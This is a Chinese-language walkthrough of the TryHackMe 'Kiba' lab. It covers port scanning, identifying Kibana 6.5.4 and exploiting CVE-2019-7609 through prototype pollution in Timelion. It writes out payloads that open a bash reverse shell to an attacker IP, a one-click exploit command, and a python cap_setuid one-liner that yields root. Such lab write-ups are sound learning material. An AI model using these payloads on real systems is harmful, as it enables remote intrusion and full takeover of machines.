【THM】kiba练习
【THM】kiba练习
与本文相关的TryHackMe实验房间链接:TryHackMe | kiba
简介:识别数据可视化仪表板中允许执行远程代码执行的关键安全缺陷。
你能完成这个挑战吗?
第一题:基于原型编程的语言特有的漏洞是什么?
知识盲区,问了AI
原型链修改
原型链篡改是指攻击者通过修改对象的原型链来影响对象的行为或属性。这种攻击在基于原型的语言(如JavaScript)中特别常见,因为对象的属性可以通过原型链访问。
具体来说,JavaScript中的每个对象都有一个内部链接到其原型对象的属性(通常是__proto__
或通过Object.getPrototypeOf
获取)。如果攻击者能够修改某个对象的原型,或者将恶意属性添加到原型对象上,那么所有继承自该原型的对象都会受到影响。
例如,假设一个对象的原型被篡改,攻击者可以添加一个方法,该方法会执行恶意代码。所有从这个原型继承的对象都会继承这个方法,从而造成安全隐患。
以下是一个简单的示例:
// 原始对象
let obj = {};
// 改变原型
Object.prototype.isAdmin = function() {
return true;
};
// 现在所有对象都可以调用isAdmin方法
console.log(obj.isAdmin()); // 输出: true
在这个例子中,攻击者通过修改Object.prototype
,使得所有对象都获得了isAdmin
方法,可能导致未授权的访问或信息泄露。为了防范这种攻击,可以避免直接修改内置对象的原型或使用Object.create(null)
创建不继承原型的对象。
第二题:服务器中安装的可视化仪表板是什么版本?
第一步
端口扫描
首先使用nmap对端口进行扫描
nmap -Pn -sV -p1-10000 -T4 10.10.59.145
可以发现目标开放了4个端口:22/tcp ssh服务、80/tcp http服务
5044/tcp lxi-evntsvc服务(一个与 Windows 系统相关的服务,通常被称为 "LXI Event Service"。它主要用于管理和处理与 LXILAN eXtensions for Instrumentation
相关的事件。LXI 是一种用于测试和测量仪器的网络协议,旨在提高设备间的互操作性和灵活性。)
5601/tcp esmagent(指 "Enterprise System Management Agent",通常用于企业环境中的系统管理和监控。它是一个代理程序,能够收集和报告系统状态、性能数据和其他监控信息,通常与中央管理系统或监控工具集成。)
第二步
访问网站
我们先进入网站看看界面
80端口:
5044端口:
5601端口:
第三步
信息收集
网页源码没有藏什么东西,我们分析5601端口的kibana
Kibana 是 ELK Stack(Elasticsearch, Logstash, Kibana)的重要组成部分, 一个开源数据可视化和分析工具,广泛用于数据监控、分析和可视化场景。
我们可以在设置中看到可视化仪表盘的版本为6.5.4:
Elasticsearch 是一个基于 Lucene 的开源搜索和分析引擎,专为处理大规模数据而设计。它支持全文搜索、实时数据分析和复杂的查询功能。
Elasticsearch 常与 Logstash 和 Kibana 一起使用,构成 ELK Stack,广泛应用于日志分析、实时数据监控和搜索解决方案。
第三题:此漏洞的 CVE 编号是多少?格式为:CVE-0000-0000
根据版本搜寻漏洞
在https://www.exploit-db.com/中没有搜到
上google:
第四题:破坏机器并找到user.txt
第一步
寻找漏洞利用方式
在网上搜寻相关的漏洞利用方式:
我们依照其中的步骤进行复现
第二步
复现漏洞
首先监听端口,在Timelion栏使用POC:
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/10.10.21.109/6666 0>&1");process.exit()//').props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -c \'bash -i>& /dev/tcp/10.10.21.109/6666 0>&1\'");//').props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
再在左侧面板中转到Canvas栏应该就可以接收到反弹shell(这里之前失败了一次所以ip地址更改了):
难以接收shell可以在此用github上的一键利用脚本:https://github.com/LandGrey/CVE-2019-7609
python CVE-2019-7609-kibana-rce.py -u 10.10.224.205:5601 -host 10.10.21.109 -port 6666 --shell
有了shell我们直接获取user.txt
第五题:您将如何递归地列出所有这些Capabilities?
Capabilities 是一个概念,它提供了一个安全系统,允许将 root 权限“划分”为不同的值
getcap -r /
getcap 这个命令用于显示文件的能力信息。Linux 提供了一种称为能力(capabilities)的权限机制,可以更细粒度地控制程序的权限,而不是仅依赖传统的用户权限(如 root 权限)
-r 这个选项表示递归操作
第六题:提升权限并获取root.txt
第一步
查看我们的权限
find / -type f -perm -04000 -ls 2>/dev/null
搜索并没有什么能用的
根据上一题的提示,我们可以用这条命令来看我们的能力:
getcap -r /
但是会输出一大堆错误的数据,因此我们再添上不要输出错误的信息
getcap -r / 2>/dev/null
2>/dev/null 将标准错误(文件描述符 2)重定向到 /dev/null
我们对输出进行分析:
/home/kiba/.hackmeplease/python3 = cap_setuid+ep
/usr/bin/mtr = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/systemd-detect-virt = cap_dac_override,cap_sys_ptrace+ep
cap_setuid
允许程序在执行过程中更改其用户 ID。这通常用于需要临时提升权限的程序。
cap_net_raw
允许程序发送和接收原始网络数据包。这对于网络工具(如 MTR,混合了 traceroute 和 ping)来说是必需的,因为它需要直接与网络协议交互。
cap_dac_override
:绕过文件访问权限检查。这使得程序能够访问所有文件,无论其权限如何。
cap_sys_ptrace
:允许使用 ptrace
系统调用进行调试或跟踪其他进程。
+ep
表示“有效权限”(effective permissions)和“保留权限”
第二步
提升我们的权限
总之我们发现有我们能力能够利用的提权命令不多,但我们找到了python:
我们运行以下命令提权:
/home/kiba/.hackmeplease/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'